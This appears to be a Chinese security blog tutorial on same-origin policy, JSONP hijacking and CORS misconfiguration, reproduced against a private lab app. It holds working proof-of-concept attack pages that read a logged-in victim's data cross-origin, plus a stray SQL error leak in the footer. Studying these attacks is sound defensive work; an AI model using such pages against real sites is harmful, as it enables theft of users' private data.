当前位置:首页 > Web安全 > 正文内容

CORS和JSONP跨域漏洞学习知识点

UzJu2年前 (2022-04-16)Web安全820

JSONP和CORS跨域漏洞

一、同源策略

1、什么是同源策略

两个地址的协议域名端口都一样则为同源

image-20210720134100523

image-20210720134813767

#### 2、为什么需要使用同源策略

Tips:同源策略是浏览器行为,拦截的是客户端发出去的请求,该请求返回的信息,也就是请求发出去了,服务器响应了,但是无法被浏览器接收。

Tips1:同源策略只存在于浏览器端,服务器访问服务器不存在跨域问题。

不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。只有同一个源的脚本才可以赋予dom、读写cookie、session、ajax等操作的权限,例如a.com可以随意调用b.com的接口去修改数据

3、同源策略会受到哪些限制

  • 无法获取Cookie、LocalStorage、IndexDB
  • 无法获取DOM
  • AJAX请求不能发送
<img/>
<link/>
<script/>

以上三个标签可以允许跨域加载资源

二、Jsonp跨域劫持与个人理解

1、什么是Jsonp

利用标签元素,网页可以得到从其他来源动态产生的JSON资料,而这种模式就是所谓的Jsonp,用Jsonp抓到的资料并不是Json,而是任意的JavaScript。

Jsonp跨域的原理本质就是利用的标签有跨域的属性

2、Jsonp跨域测试

在不同源的情况下

这里没有使用本地搭建两个不同的端口来访问html服务,而是使用douban的网址来测试

image-20210720142443765

同源的情况下

image-20210720142614764

<!-- 以上同源与不同源的测试代码 -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ajax</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
    <div id="mydiv">
        <button id="btn">点击</button>
    </div>
</body>
<script type="text/javascript">
    window.onload = function() {

    var oBtn = document.getElementById('btn');

    oBtn.onclick = function() {

        var xhr = new XMLHttpRequest();

        xhr.onreadystatechange = function() {
            if (xhr.readyState == 4 && xhr.status == 200) {
                    alert( xhr.responseText );
            }
        };

        xhr.open('get', 'http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=test', true);
        xhr.send(); 
    };

};
</script>
</html>

跨域访问

image-20210720142822939

JSONP实现跨域请求的原理简单的说,就是动态创建<script>标签,然后利用<script>的src 不受同源策略约束来跨域获取数据。

JSONP 由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。

动态创建<script>标签,设置其src,回调函数在src中设置

var script = document.createElement("script");
script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);

在页面中,返回的JSON作为参数传入回调函数中,我们通过回调函数来来操作数据。

function handleResponse(response){
    // 对response数据进行操作代码
}

完整代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>JSONP实现跨域2</title>
</head>
<body>
    <div id="mydiv">
        <button id="btn">点击</button>
    </div>
</body>
<script type="text/javascript">
    function handleResponse(response){
            console.log(response);
    }
</script>
<script type="text/javascript">
    window.onload = function() {

    var oBtn = document.getElementById('btn');

    oBtn.onclick = function() {     

        var script = document.createElement("script");
        script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";
        document.body.insertBefore(script, document.body.firstChild);   
    };
};
</script>
</html>

3、Jsonp劫持漏洞复现

image-20210720144321147

漏洞页面为

image-20210720144431284

攻击页面

<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function vulkey(data){alert(JSON.stringify(data));}</script>

<script src="http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=vulkey"></script>
</body>
</html>

受害者点击页面

image-20210720144557241

4、跨域劫持的个人理解

其实网上的文章复现对这里并没有说的很清楚,照着复现演示看上去也比较模糊,大概的意思我理解的是漏洞页面(http://10.200.70.27/vul/DoraBox/csrf/jsonp.php?callback=test)要获取这些数据,是需要登录的,受害者登录后,又访问了攻击者给的漏洞劫持复现链接(http://10.200.70.27:8081/exp.html),就造成了攻击者可以获取这些数据,同源策略规定,不同的源是不可以获取cookie这些的,很显然,用户登录后的cookie,不同源是不可以获取的,这里通过标签属性的特性,获取到了不同源用户的Cookie

5、Json劫持防御

1、验证Referer

2、增加随机的Token进行验证

三、CORS跨域劫持与个人理解

在phpstudy中开启,删掉前面的#号并在配置文件的最开头配置header然后重启服务

这一步不是必须设置,通过复现测试发现,如果php中写了,这里好像可以不用设置

#LoadModule headers_module modules/mod_headers.so

image-20210720145553209

image-20210720145841587

Header set Access-Control-Allow-Origin *
Header set Access-Control-Allow-Credential *
Header set Access-Control-Expose-Headers *

1、cors跨域实现流程

  • 1、服务器支持配置CORS,默认认可所有域都可以访问
  • 2、浏览器客户端把所在的域填充到Origin发送跨域请求
  • 3、服务器根据资源权限配置,在响应头中添加Access-Control-Allow-Origin Header,返回结果
  • 4、浏览器比较服务器返回的Access-Control-Allow-Origin Header和请求域的Origin,如果当前域获得授权,则将结果返回给页面

2、如何判断是否存在跨域

请求头存在origin参数且可控(不存在可自行添加不影响结果)

响应头存在下面两个:

  • 1、Access-Control-Allow-Orighin:指定哪些域可以访问域资源
  • 2、Access-Control-Allow-Credentials:指定浏览器是否存将使用请求发送cookie,仅当allow-credentials标头设置为true时,才会发送cookie

Burp重放

image-20210720152023286

如何判断是否存在跨域攻击,可以在请求头中添加一个源,看看是否可控

Origin:http://www.baidu.com

image-20210720152007195

模拟受害者点击

image-20210720153212205

```html

<html>
<head>
<script type="text/javascript">
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://10.200.70.27/vul/DoraBox/csrf/userinfo.php", true);
xhttp.send();
}

</script>

</head>
<body>
<textarea id="demo">

扫描二维码推送至手机访问。

版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。

SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

本文链接:https://uzzju.com/post/15.java

标签: CORSJSONP
分享给朋友:
返回列表

没有更早的文章了...

下一篇:从SQL注入延时盲注到Get Database

相关文章

从SQL注入延时盲注到Get Database

从SQL注入延时盲注到Get Database

从SQL注入延时盲注到Get Database一、IAST发现 执行的SQL语句 SELECT COUNT(1) FROM t_ad WHERE (a`openrasp = ? AND delete_flag = ? AND ad_...

【渗透测试】记一次智慧校园系统一轮游

【渗透测试】记一次智慧校园系统一轮游

记一次智慧校园系统一轮游记一次智慧校园系统一轮游一、前言如发现存在问题发送邮件到:UzJuer@163.com删除文章 关于如何挖逻辑漏洞的思维图 二、智慧校园系统1、www.xxx-xxxx.com svn泄露Ps:后...

某次授权渗透测试小记

某次授权渗透测试小记

某次授权渗透测试小记一、某次授权渗透测试部分小记本文已得到授权 如发现存在问题发送邮件到:UzJuer@163.com删除文章 1、帝国CMS 后台GETSHELL图书馆的一个系统,为开源CMS修改的,然后通过版本探测与其他的...

Redis常见利用方法

Redis常见利用方法

Redis常见利用方法 Redis简介与学习Redis常见端口 6379 Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据...

两个简单的前端加密逆向

两个简单的前端加密逆向

前言两个站点都是比较简单的前端加密,也都是朋友喊来练练手的,不过Trace这款工具还是不错的吧 推荐一下六边形战士的Github工具:https://github.com/CC11001100/ast-hook-for-js-RE...

Java-SQL注入

Java-SQL注入

1、JDBC1.1、Statement创建连接对象使用CreateStatement() Statement stmt = null; try { stmt = conn.createStatement( ); . ....

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。